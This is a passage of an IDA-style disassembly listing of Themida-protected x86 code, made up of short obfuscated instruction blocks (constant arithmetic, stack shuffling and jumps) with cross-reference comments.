pop ecx
jmp loc_594EC9
; ---------------------------------------------------------------------------
loc_5A1697: ; CODE XREF: Themida_:00590170j
add esi, 40DD4350h
push 3437h
jmp loc_593248
; ---------------------------------------------------------------------------
loc_5A16A7: ; CODE XREF: Themida_:0059C033j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
push esi
jmp loc_5A07D0
; ---------------------------------------------------------------------------
loc_5A16B5: ; CODE XREF: Themida_:0059BD0Dj
mov [esp], ebx
mov ebx, 4
jmp loc_59D0C3
; ---------------------------------------------------------------------------
loc_5A16C2: ; CODE XREF: Themida_:00595024j
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_5962A5
; ---------------------------------------------------------------------------
loc_5A16CE: ; CODE XREF: Themida_:005A303Bj
mov [esp], eax
mov eax, 3D847867h
jmp loc_5A0BFA
; ---------------------------------------------------------------------------
loc_5A16DB: ; CODE XREF: Themida_:0059E7D2j
xor eax, 4591D1C0h
sub edi, eax
pop eax
sub edi, ebp
add edi, 7E3A3929h
mov ebp, [esp]
add esp, 4
xor eax, edi
pop edi
sub esp, 4
mov [esp], edi
mov edi, 24FD1198h
sub edi, 571B52D0h
push edi
jmp loc_59F055
; ---------------------------------------------------------------------------
loc_5A1711: ; DATA XREF: Themida_:0058E308o
mov ax, [esp]
push 736Dh
mov [esp], edx
push esp
pop edx
push 494Eh
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov edx, 663C6A7Bh
inc edx
add edx, 0E996A542h
mov ecx, 4FD30FC2h
jmp loc_5977A5
; ---------------------------------------------------------------------------
loc_5A1743: ; CODE XREF: Themida_:0059AACAj
add edi, eax
pop eax
sub esp, 4
mov [esp], esi
mov esi, 4
sub edi, 5BE44787h
add edi, esi
push 7091h
mov [esp], ebx
mov ebx, 5BE44787h
add edi, ebx
pop ebx
mov esi, [esp]
add esp, 4
xor edi, [esp]
jmp loc_598342
; ---------------------------------------------------------------------------
loc_5A177A: ; CODE XREF: Themida_:0059B6A6j
add esp, 4
jmp loc_590809
; ---------------------------------------------------------------------------
loc_5A1785: ; CODE XREF: Themida_:0058F951j
mov edi, 4
add edx, edi
push dword ptr [esp]
pop edi
push ebp
jmp loc_5974D5
; ---------------------------------------------------------------------------
loc_5A1796: ; CODE XREF: Themida_:0059E69Fj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
pop eax
jmp loc_59BC13
; ---------------------------------------------------------------------------
loc_5A17AB: ; CODE XREF: Themida_:0059A4BFj
push dword ptr [edi+eax*4]
mov eax, [esp]
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
push 6210h
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_59F686
; ---------------------------------------------------------------------------
loc_5A17D2: ; CODE XREF: Themida_:0059DA6Bj
pop esi
pop ecx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov ax, [esp]
push ebp
push esp
jmp loc_595589
; ---------------------------------------------------------------------------
push 3A7Dh
mov [esp], ecx
mov ecx, esp
add ecx, 4
push 666Dh
mov [esp], esi
push eax
mov eax, 7F5D6056h
mov esi, 80A29FAEh
add esi, eax
jmp loc_5A1E0D
; ---------------------------------------------------------------------------
loc_5A1813: ; CODE XREF: Themida_:0058F790j
mov dh, 0B9h
push ecx
mov ch, 95h
xor dh, ch
jmp loc_59B9E9
; ---------------------------------------------------------------------------
loc_5A181F: ; CODE XREF: Themida_:005982BEj
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], edx
mov edx, 1986413h
neg edx
shl edx, 8
inc edx
push ebx
mov ebx, 434C2307h
xor ebx, 24D7CE02h
xor edx, ebx
jmp loc_5A2588
; ---------------------------------------------------------------------------
loc_5A186A: ; CODE XREF: Themida_:0059CDFBj
mov esi, 2E6F32B6h
add ecx, esi
pop esi
push edi
mov edi, 24453AD6h
add ecx, edi
mov edi, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_59E698
; ---------------------------------------------------------------------------
loc_5A1892: ; CODE XREF: Themida_:005918D4j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
shr ecx, 6
shr ecx, 5
neg ecx
jmp loc_59967D
; ---------------------------------------------------------------------------
loc_5A18AF: ; CODE XREF: Themida_:0058E6C6j
or ebp, 1B2D36BDh
and ebp, 346F5DD5h
sub ebp, 306D55D1h
jmp loc_59FEC7
; ---------------------------------------------------------------------------
loc_5A18C6: ; CODE XREF: Themida_:0059C238j
sub edx, 5F52798Bh
add edx, ecx
add edx, 5F52798Bh
mov ecx, [esp]
push edi
mov edi, esp
push esi
mov esi, 35937477h
jmp loc_597BC3
; ---------------------------------------------------------------------------
push ebx
jmp loc_5929D8
; ---------------------------------------------------------------------------
loc_5A18EB: ; CODE XREF: Themida_:005A09EAj
sub eax, 36EC2C48h
push edx
mov edx, 1616A06h
jmp loc_59D28E
; ---------------------------------------------------------------------------
loc_5A18FB: ; CODE XREF: Themida_:005A2DD6j
sub al, ch
push small 7D4Fh
mov [esp], bx
mov bl, 0A6h
dec bl
add bl, 0CFh
not bl
xor bl, 46h
add al, bl
pop bx
mov cx, [esp]
push eax
mov eax, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_5960FC
; ---------------------------------------------------------------------------
loc_5A192C: ; CODE XREF: Themida_:005A2BDDj
pop ecx
sub esi, 0FFFFFFFFh
jmp loc_58E51C
; ---------------------------------------------------------------------------
loc_5A1938: ; CODE XREF: Themida_:00591A14j
dec esi
xor esi, 0A14A586h
sub edi, 101024EBh
sub edi, esi
jmp loc_59C824
; ---------------------------------------------------------------------------
loc_5A194C: ; CODE XREF: Themida_:005960D4j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59DEDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A195F: ; CODE XREF: sub_59DA2F-94DBj
not ebx
add ebx, 32AF233Dh
add edi, 5662334Ah
add edi, ebx
jmp loc_59C8E0
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5A1974: ; CODE XREF: Themida_:0059C073j
mov eax, esp
add eax, 4
push esi
mov esi, 4
add eax, esi
pop esi
xchg eax, [esp]
pop esp
loc_5A1988: ; CODE XREF: Themida_:00590F67j
sub esp, 4
jmp loc_591860
; ---------------------------------------------------------------------------
loc_5A1993: ; CODE XREF: Themida_:00599A04j
pop esi
jmp loc_59E8CB
; =============== S U B R O U T I N E =======================================
sub_5A1999 proc near ; CODE XREF: sub_59C407+468Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 0058EDC1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593BE6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595283 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005958BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005960D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596663 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596DAC SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0059879C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005999DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A5A8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059BC44 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C182 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059D798 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059EF2F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1F4D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A261E SIZE 0000001A BYTES
sub esp, 4
jmp loc_5958BA
sub_5A1999 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5A19A1: ; CODE XREF: Themida_:005A2A25j
push ebx
mov ebx, 5E461D02h
not ebx
xor ebx, 0A372CC91h
jmp loc_591472
; ---------------------------------------------------------------------------
loc_5A19B4: ; CODE XREF: Themida_:0059E342j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_593581
; ---------------------------------------------------------------------------
loc_5A19C8: ; CODE XREF: Themida_:00597227j
push esp
pop ecx
push ebx
mov ebx, 1F720596h
not ebx
dec ebx
dec ebx
xor ebx, 0E08DFA63h
add ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 4
jmp loc_5A0781
; ---------------------------------------------------------------------------
loc_5A19ED: ; CODE XREF: Themida_:00592007j
add ecx, 2
xor ecx, [esp]
jmp loc_5958F6
; ---------------------------------------------------------------------------
loc_5A19FB: ; CODE XREF: Themida_:0058EA5Dj
mov ebx, 4
add ebp, ebx
jmp loc_594EA6
; ---------------------------------------------------------------------------
loc_5A1A07: ; CODE XREF: Themida_:0059E242j
pop ebp
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
push 14C2h
mov [esp], eax
pop edx
sub esp, 4
mov [esp], ebx
push 63A2h
mov [esp], ebp
jmp loc_58EE28
; ---------------------------------------------------------------------------
loc_5A1A3F: ; CODE XREF: Themida_:005A29A9j
push 1C9Dh
mov [esp], esi
push esp
pop esi
push edx
push 62C85BD4h
mov edx, [esp]
add esp, 4
shl edx, 7
push ebx
jmp loc_59177E
; ---------------------------------------------------------------------------
loc_5A1A5E: ; CODE XREF: Themida_:0059B3D1j
add ebp, 0A1CFE07Ch
add ecx, ebp
jmp loc_59132D
; ---------------------------------------------------------------------------
loc_5A1A6B: ; CODE XREF: Themida_:0059FAF0j
sub eax, 5BED2903h
pop ebx
add eax, esi
sub esp, 4
mov [esp], ebp
mov ebp, 4F6C127Ch
jmp loc_5927DC
; ---------------------------------------------------------------------------
loc_5A1A83: ; CODE XREF: Themida_:0059B03Bj
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_597208
; ---------------------------------------------------------------------------
loc_5A1AA8: ; CODE XREF: Themida_:0058FF8Ej
xor dh, al
pop eax
add bl, dh
mov edx, [esp]
add esp, 4
push 59A5h
mov [esp], edx
push ebx
mov ebx, 2BB242BEh
mov edx, 0D44DBD7Ah
sub edx, 22543AB9h
add edx, ebx
add edx, 22543AB9h
pop ebx
add edx, edi
push ecx
push 0
pop ecx
push edx
mov edx, 61C454EEh
jmp loc_58F551
; ---------------------------------------------------------------------------
loc_5A1AEC: ; CODE XREF: Themida_:0059EBD4j
pop esi
jmp loc_59D638
; ---------------------------------------------------------------------------
loc_5A1AF2: ; CODE XREF: Themida_:00598B50j
sub esp, 4
mov [esp], edi
jmp loc_597392
; ---------------------------------------------------------------------------
loc_5A1B00: ; CODE XREF: Themida_:005978D5j
pop ebp
sub esp, 4
mov [esp], ecx
jmp loc_58F560
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_5A1B0F: ; CODE XREF: sub_59233E-BF0j
add edx, 66822774h
add edx, edi
jmp loc_59BBFA
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5A1B1C: ; CODE XREF: Themida_:00594542j
add ebx, edx
mov edx, [esp]
jmp loc_59D05E
; ---------------------------------------------------------------------------
loc_5A1B26: ; CODE XREF: Themida_:0059880Ej
xor ebx, 0FA43C94h
and edi, ebx
pop ebx
jmp loc_599325
; ---------------------------------------------------------------------------
loc_5A1B34: ; CODE XREF: Themida_:005A29F2j
add esp, 4
jmp loc_59673C
; ---------------------------------------------------------------------------
loc_5A1B3F: ; CODE XREF: Themida_:005994A9j
xchg ecx, [esp]
jmp loc_596CA4
; ---------------------------------------------------------------------------
loc_5A1B47: ; CODE XREF: Themida_:00593F47j
mov edx, 351913E6h
and edx, 6B8E6D78h
add edx, 78DA3D89h
jmp loc_594D35
; ---------------------------------------------------------------------------
loc_5A1B5D: ; CODE XREF: Themida_:00593E42j
xor eax, [esp]
pop esp
jmp loc_591C0E
; ---------------------------------------------------------------------------
loc_5A1B66: ; CODE XREF: Themida_:00590BEBj
mov ebp, [esp]
jmp loc_5A2007
; ---------------------------------------------------------------------------
loc_5A1B6E: ; CODE XREF: Themida_:00594910j
push 69B5h
mov [esp], esi
push esp
pop esi
add esi, 4
sub esi, 4
jmp loc_597355
; ---------------------------------------------------------------------------
loc_5A1B86: ; CODE XREF: Themida_:005A14EFj
xor [edi+24h], ecx
loc_5A1B89: ; CODE XREF: Themida_:0059D4A2j
push eax
mov eax, esp
push 5114h
mov [esp], ecx
mov ecx, 57A17DF6h
push ecx
not dword ptr [esp]
mov ecx, [esp]
add esp, 4
add ecx, 72A2777h
or ecx, 0A524CF0h
sub esp, 4
mov [esp], edx
mov edx, 27F2025Ah
and ecx, edx
pop edx
sub ecx, 592C7F2Dh
push edx
jmp loc_59444D
; ---------------------------------------------------------------------------
loc_5A1BCC: ; CODE XREF: Themida_:0059F336j
shl eax, cl
push esi
mov esi, 3B431D8Bh
push ebp
mov ebp, 697C1851h
xor ebp, 2AAA749Bh
neg ebp
and ebp, 28BF1C71h
xor ebp, 53D81770h
or esi, ebp
pop ebp
push esi
inc dword ptr [esp]
mov esi, [esp]
add esp, 4
sub esi, 41C824ADh
jmp loc_599024
; ---------------------------------------------------------------------------
loc_5A1C06: ; CODE XREF: Themida_:0059D51Aj
xor ebx, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 7C892572h
jmp loc_596C3F
; ---------------------------------------------------------------------------
loc_5A1C19: ; CODE XREF: Themida_:005A07E3j
xor [esp], edx
jmp loc_5915A8
; ---------------------------------------------------------------------------
loc_5A1C21: ; CODE XREF: Themida_:005991CCj
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_58F846
; ---------------------------------------------------------------------------
loc_5A1C48: ; CODE XREF: Themida_:00590C8Aj
sub eax, ebx
pop ebx
pop ebp
sub eax, 1BD755ECh
sub eax, 447B2E29h
sub eax, edi
add eax, 447B2E29h
add eax, 1BD755ECh
push ebx
mov ebx, 24654958h
shr ebx, 3
neg ebx
xor ebx, 7894038Fh
inc ebx
add ebx, 0EC390B89h
jmp loc_5979FA
; ---------------------------------------------------------------------------
loc_5A1C7F: ; CODE XREF: Themida_:00591FF6j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_59BBDE
; ---------------------------------------------------------------------------
loc_5A1C90: ; CODE XREF: Themida_:0059F0D7j
pop ebp
jmp loc_58F4E0
; ---------------------------------------------------------------------------
loc_5A1C96: ; CODE XREF: Themida_:00595FD5j
push ecx
push 49085CAEh
pop ecx
sub edx, ecx
mov ecx, [esp]
jmp loc_58E6AB
; ---------------------------------------------------------------------------
loc_5A1CA7: ; CODE XREF: Themida_:00598612j
mov ecx, esp
jmp loc_59AD81
; ---------------------------------------------------------------------------
loc_5A1CAE: ; CODE XREF: Themida_:00598345j
xor edi, [esp]
mov esp, [esp]
movsx ecx, ax
push edx
push 11CCh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A04BE
; ---------------------------------------------------------------------------
loc_5A1CCA: ; CODE XREF: Themida_:0058F38Dj
push edi
jmp loc_59013E
; ---------------------------------------------------------------------------
loc_5A1CD0: ; CODE XREF: Themida_:005949A2j
push edi
mov edi, 5DC80715h
sub edi, 148EBB7Bh
dec edi
sub edi, 2444EEE3h
and esi, edi
pop edi
jmp loc_58EF35
; ---------------------------------------------------------------------------
loc_5A1CEB: ; CODE XREF: Themida_:0058F728j
pop ebp
jmp loc_593492
; ---------------------------------------------------------------------------
loc_5A1CF1: ; CODE XREF: Themida_:0059F9C9j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A1CF6: ; CODE XREF: Themida_:0059C7DFj
xor ebx, 0DE046444h
add edi, ebx
pop ebx
jmp loc_58E616
; ---------------------------------------------------------------------------
loc_5A1D04: ; CODE XREF: Themida_:00599F02j
add eax, 6AA030B5h
add eax, 330619Bh
sub eax, 6D091426h
add eax, ebx
add eax, 6D091426h
sub eax, 330619Bh
sub eax, 6AA030B5h
pop ebx
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5A2C91
; ---------------------------------------------------------------------------
loc_5A1D30: ; CODE XREF: Themida_:0059EA7Dj
push eax
mov ah, 9Ch
shl ah, 2
push edx
mov dh, 89h
inc dh
xor dh, 0F0h
jmp loc_598F2D
; ---------------------------------------------------------------------------
loc_5A1D43: ; CODE XREF: Themida_:0058E4F0j
add ebp, 0DC0229Dh
sub ebp, 1957AD8Eh
add esi, ebp
pop ebp
mov edi, [esp]
push edx
push esp
pop edx
jmp loc_594616
; ---------------------------------------------------------------------------
loc_5A1D5D: ; CODE XREF: Themida_:005956C5j
push 40B8h
mov [esp], ebp
push 219F07DBh
push dword ptr [esp]
pop ebp
add esp, 4
push ebx
mov ebx, 1FE8E982h
jmp loc_598980
; ---------------------------------------------------------------------------
loc_5A1D7C: ; CODE XREF: Themida_:00590D1Dj
mov [esp], edi
push 7E2C026Bh
mov edi, [esp]
jmp loc_590E39
; ---------------------------------------------------------------------------
loc_5A1D8C: ; CODE XREF: Themida_:00595E69j
xor dh, cl
pop ecx
push eax
mov ah, 78h
shl ah, 7
jmp loc_5901A1
; ---------------------------------------------------------------------------
loc_5A1D9A: ; CODE XREF: Themida_:0059C87Aj
sub eax, 4
xchg eax, [esp]
jmp loc_59BE04
; ---------------------------------------------------------------------------
loc_5A1DA5: ; CODE XREF: Themida_:00592C20j
push dword ptr [esp+4]
jmp loc_59FE34
; ---------------------------------------------------------------------------
loc_5A1DAE: ; CODE XREF: Themida_:0059EDEBj
sub esp, 4
jmp loc_592EFE
; ---------------------------------------------------------------------------
loc_5A1DB9: ; CODE XREF: Themida_:0059CAD0j
xor ecx, 64F46449h
neg ecx
push 65D3h
jmp loc_5958DD
; ---------------------------------------------------------------------------
loc_5A1DCB: ; CODE XREF: Themida_:0059C5CAj
or [edi+1Ch], eax
pop eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A1DD4: ; CODE XREF: Themida_:0059CA5Aj
mov ebx, 694A4CF8h
mov edx, ebx
pop ebx
add eax, 45AB70EBh
sub eax, edx
sub eax, 45AB70EBh
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
push edi
mov edi, 4
jmp loc_590B57
; ---------------------------------------------------------------------------
loc_5A1DFF: ; CODE XREF: Themida_:00590BF6j
xor eax, 10626C5Ah
pop edx
mov ebx, eax
pop eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A1E0D: ; CODE XREF: Themida_:005A180Ej
pop eax
sub ecx, esi
pop esi
jmp loc_59C67A
; ---------------------------------------------------------------------------
loc_5A1E16: ; CODE XREF: Themida_:0059ED46j
add eax, ebp
pop ebp
push edi
mov edi, 0A9C5A52h
push esi
mov esi, 3CB4561h
and edi, esi
pop esi
neg edi
jmp loc_595D39
; ---------------------------------------------------------------------------
loc_5A1E2F: ; CODE XREF: Themida_:0059DC4Ej
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push eax
push esp
mov eax, [esp]
add esp, 4
jmp loc_59FEFB
; ---------------------------------------------------------------------------
loc_5A1E4B: ; CODE XREF: Themida_:0058F2ABj
mov [esp], esi
not dword ptr [esp]
pop esi
add esi, 689E397Fh
sub ebx, 56B06FE9h
sub ebx, 3AD41F2Fh
add ebx, esi
add ebx, 3AD41F2Fh
jmp loc_58FA9F
; ---------------------------------------------------------------------------
loc_5A1E71: ; CODE XREF: Themida_:00597F4Dj
pop edx
add esp, 4
or cl, 0Ah
sub cl, 0FFh
not cl
neg cl
and cl, 14h
push eax
mov al, 0Ah
xor cl, al
push dword ptr [esp]
pop eax
add esp, 4
push ecx
jmp loc_59EFE5
; ---------------------------------------------------------------------------
loc_5A1E97: ; CODE XREF: Themida_:005A30F9j
xchg ecx, ebx
jmp loc_599BD1
; ---------------------------------------------------------------------------
loc_5A1E9E: ; CODE XREF: Themida_:0059A6E2j
or ecx, 7C431D5Eh
xor ecx, 51EB274Ah
jmp loc_593E0E
; ---------------------------------------------------------------------------
loc_5A1EAF: ; CODE XREF: Themida_:0059B572j
add edx, 4
jmp loc_59E92C
; ---------------------------------------------------------------------------
loc_5A1EBA: ; CODE XREF: Themida_:0059C3BEj
pop esp
add esi, eax
pop eax
push ebp
mov ebp, 2
add esi, 12E6568h
add esi, ebp
sub esi, 12E6568h
pop ebp
xchg esi, [esp]
pop esp
pop small word ptr [esp]
sub esp, 2
mov [esp], bx
not word ptr [esp]
pop bx
jmp loc_59BC18
; ---------------------------------------------------------------------------
loc_5A1EED: ; CODE XREF: Themida_:0059EEC3j
pop esp
mov [esp], edx
sub esp, 4
mov [esp], ecx
mov ecx, 5B8D28E8h
shl ecx, 8
xor ecx, 4E7B2524h
sub ecx, 7449BDCAh
and ecx, 29E03777h
xor ecx, 900074Eh
mov edx, ecx
pop ecx
add edx, edi
mov eax, [edx]
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_5A30DD
; ---------------------------------------------------------------------------
loc_5A1F2A: ; CODE XREF: Themida_:00590EF1j
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, 2C5A355Dh
xchg edx, esi
not edx
xchg edx, esi
jmp loc_594B21
; ---------------------------------------------------------------------------
loc_5A1F41: ; CODE XREF: Themida_:0059B650j
mov [esp], edx
mov dl, 8Bh
sub bl, dl
jmp loc_59D715
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_5A1F4D: ; CODE XREF: sub_5A1999-5D47j
sub ebx, 1
shl ebx, 8
add ebx, 7B8A14DBh
jmp loc_59C182
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5A1F5E: ; CODE XREF: Themida_:0059712Aj
xor esi, 85679A42h
jmp loc_591207
; ---------------------------------------------------------------------------
loc_5A1F69: ; CODE XREF: Themida_:00594EF6j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_591BAB
; ---------------------------------------------------------------------------
loc_5A1F7A: ; CODE XREF: Themida_:00590F77j
mov ch, 0D8h
neg ch
sub ch, 33h
jmp loc_59BF78
; ---------------------------------------------------------------------------
loc_5A1F86: ; CODE XREF: Themida_:0059D36Dj
push ecx
mov ecx, 63734E4Bh
mov esi, 0BFFBB818h
add esi, ecx
pop ecx
and edi, esi
pop esi
push eax
push ecx
mov ecx, 10BC295Bh
mov eax, ecx
pop ecx
xor eax, 356037EFh
sub eax, 1FBE64D2h
and eax, 45828AFh
not eax
push eax
jmp loc_59EC40
; ---------------------------------------------------------------------------
loc_5A1FB8: ; CODE XREF: Themida_:0059E93Fj
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ebp
push edi
push 272B1F54h
pop edi
add edi, 61512BC6h
shr edi, 4
add edi, 0F7783B53h
mov ebp, edi
jmp loc_59440B
; ---------------------------------------------------------------------------
loc_5A1FEA: ; CODE XREF: Themida_:0059A04Fj
or ebx, edx
pop edx
jmp loc_59587D
; ---------------------------------------------------------------------------
loc_5A1FF2: ; CODE XREF: Themida_:005979A5j
and ecx, ebp
pop ebp
push 5D78h
mov [esp], ebp
mov ebp, 0FB21D8C2h
jmp loc_59539C
; ---------------------------------------------------------------------------
loc_5A2007: ; CODE XREF: Themida_:005A1B69j
add esp, 4
jmp loc_5947DE
; ---------------------------------------------------------------------------
loc_5A2012: ; CODE XREF: Themida_:005929D9j
pop ebx
add ebx, 4
jmp loc_5A28D3
; ---------------------------------------------------------------------------
loc_5A201E: ; CODE XREF: Themida_:00594C77j
add edx, 4
add edx, 4
jmp loc_5955C9
; ---------------------------------------------------------------------------
loc_5A202F: ; CODE XREF: Themida_:00590AF2j
mov [esp], eax
mov ah, 0C2h
push edx
mov dl, ah
mov cl, dl
pop edx
pop eax
sub al, cl
jmp loc_594516
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A204A: ; CODE XREF: Themida_:0059345Fj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58E74B
; ---------------------------------------------------------------------------
loc_5A2059: ; CODE XREF: Themida_:0059E269j
pop esp
push dword ptr [esp]
pop eax
push edx
mov edx, esp
jmp loc_593B39
; ---------------------------------------------------------------------------
loc_5A2066: ; CODE XREF: Themida_:0059AA72j
mov bl, 90h
shr bl, 3
xor bl, 0C2h
shr bl, 7
shr bl, 6
jmp loc_59D7F9
; ---------------------------------------------------------------------------
loc_5A2079: ; CODE XREF: Themida_:0059E36Fj
pop edi
add edi, 0DFA225Fh
add edi, 68CB2AC6h
and edi, 0DF94D9Fh
add edi, 13A9D69Fh
mov edx, edi
pop edi
push ecx
mov ecx, 227E4C5Fh
add eax, 69301A0Ch
jmp loc_594F3B
; ---------------------------------------------------------------------------
loc_5A20A5: ; CODE XREF: Themida_:0059D77Dj
xor edx, 6FFFA9E0h
jmp loc_58F18C
; ---------------------------------------------------------------------------
loc_5A20B0: ; CODE XREF: Themida_:005952FEj
push dword ptr [esp]
pop ebx
jmp loc_59DF27
; ---------------------------------------------------------------------------
loc_5A20B9: ; CODE XREF: Themida_:00595DB1j
mov edx, 54EC3D32h
push edx
jmp loc_590DA4
; ---------------------------------------------------------------------------
loc_5A20C4: ; CODE XREF: Themida_:0059A6ABj
add ebx, 27CD35B8h
push edi
mov edi, 3FBE619Ch
or ebx, edi
pop edi
jmp loc_59A309
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
jmp loc_592502
; ---------------------------------------------------------------------------
loc_5A20E4: ; CODE XREF: Themida_:0058E446j
pop eax
sub esp, 4
mov [esp], esi
jmp loc_592113
; ---------------------------------------------------------------------------
loc_5A20F0: ; CODE XREF: Themida_:0059047Fj
push eax
push 4899h
mov [esp], edx
jmp loc_59C8B7
; ---------------------------------------------------------------------------
loc_5A20FE: ; CODE XREF: Themida_:0059E790j
add al, 57h
push ecx
jmp loc_59C9D7
; ---------------------------------------------------------------------------
loc_5A2106: ; CODE XREF: Themida_:0059651Bj
xor edx, 1F171C69h
sub edx, 0AC01F59Fh
add edi, edx
pop edx
push ebx
push esi
push 41415812h
pop esi
xor esi, 32719F6h
add esi, 16D1D582h
mov ebx, esi
pop esi
shr ebx, 4
add ebx, 2B87720Ch
xor ebx, 52B4CCD7h
jmp loc_59AE2D
; ---------------------------------------------------------------------------
loc_5A2140: ; CODE XREF: Themida_:005954C9j
xchg ebx, [esp]
pop esp
jmp loc_59EF48
; ---------------------------------------------------------------------------
loc_5A2149: ; CODE XREF: Themida_:005995B1j
push edx
mov edx, 36974706h
dec edx
sub edx, 0D171985h
add esi, edx
jmp loc_598450
; ---------------------------------------------------------------------------
loc_5A215D: ; CODE XREF: Themida_:0059FAD8j
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], bx
jmp loc_59D256
; ---------------------------------------------------------------------------
loc_5A2176: ; CODE XREF: Themida_:0059D512j
sub ebx, edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop edi
jmp loc_597C8D
; ---------------------------------------------------------------------------
loc_5A2187: ; DATA XREF: Themida_:0058E0C0o
mov ax, [esp]
push 6E88h
mov [esp], eax
push esi
push esp
jmp loc_59370A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A219A: ; CODE XREF: sub_590877+3217j
add [esp+0Ch+var_8], ebx
pop ebx
mov edi, [esp+8+var_8]
add esp, 4
push ecx
jmp loc_59A223
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_5A21AE: ; CODE XREF: Themida_:0059E6DDj
xor edx, 0F3EBDEF8h
and ecx, edx
pop edx
jmp loc_5990A7
; ---------------------------------------------------------------------------
loc_5A21BC: ; CODE XREF: Themida_:0059A728j
add dh, 1
push ebx
jmp loc_59FF96
; ---------------------------------------------------------------------------
loc_5A21C5: ; CODE XREF: Themida_:00599462j
mov ecx, 82C4E5CAh
sub ecx, 659F596Ah
sub ecx, 76C902F8h
add ecx, ebp
add ecx, 76C902F8h
add ecx, 659F596Ah
jmp loc_593C34
; ---------------------------------------------------------------------------
loc_5A21E9: ; CODE XREF: Themida_:005A167Cj
sub ebx, 0DEF2EE13h
sub ecx, ebx
pop ebx
jmp loc_598880
; ---------------------------------------------------------------------------
loc_5A21F7: ; CODE XREF: Themida_:005916B4j
push 52DAh
mov [esp], ebx
mov ebx, 57FFF637h
push edi
jmp loc_5992C8
; ---------------------------------------------------------------------------
loc_5A220A: ; CODE XREF: Themida_:0059292Cj
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_59AFD3
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0C94h
mov [esp], edi
sub esp, 4
push esp
jmp loc_59FDC0
; ---------------------------------------------------------------------------
loc_5A222D: ; CODE XREF: Themida_:00598A2Fj
pop esi
shl ebp, 1
shr ebp, 2
add ebp, 0FFB3FFA4h
mov ebx, ebp
jmp loc_594A00
; ---------------------------------------------------------------------------
loc_5A2240: ; CODE XREF: Themida_:005916C1j
shl eax, 6
dec eax
shl eax, 6
push ebp
push esi
mov esi, 18F0282Bh
jmp loc_59572D
; ---------------------------------------------------------------------------
loc_5A2253: ; CODE XREF: Themida_:0059B049j
mov ecx, 1DDB3106h
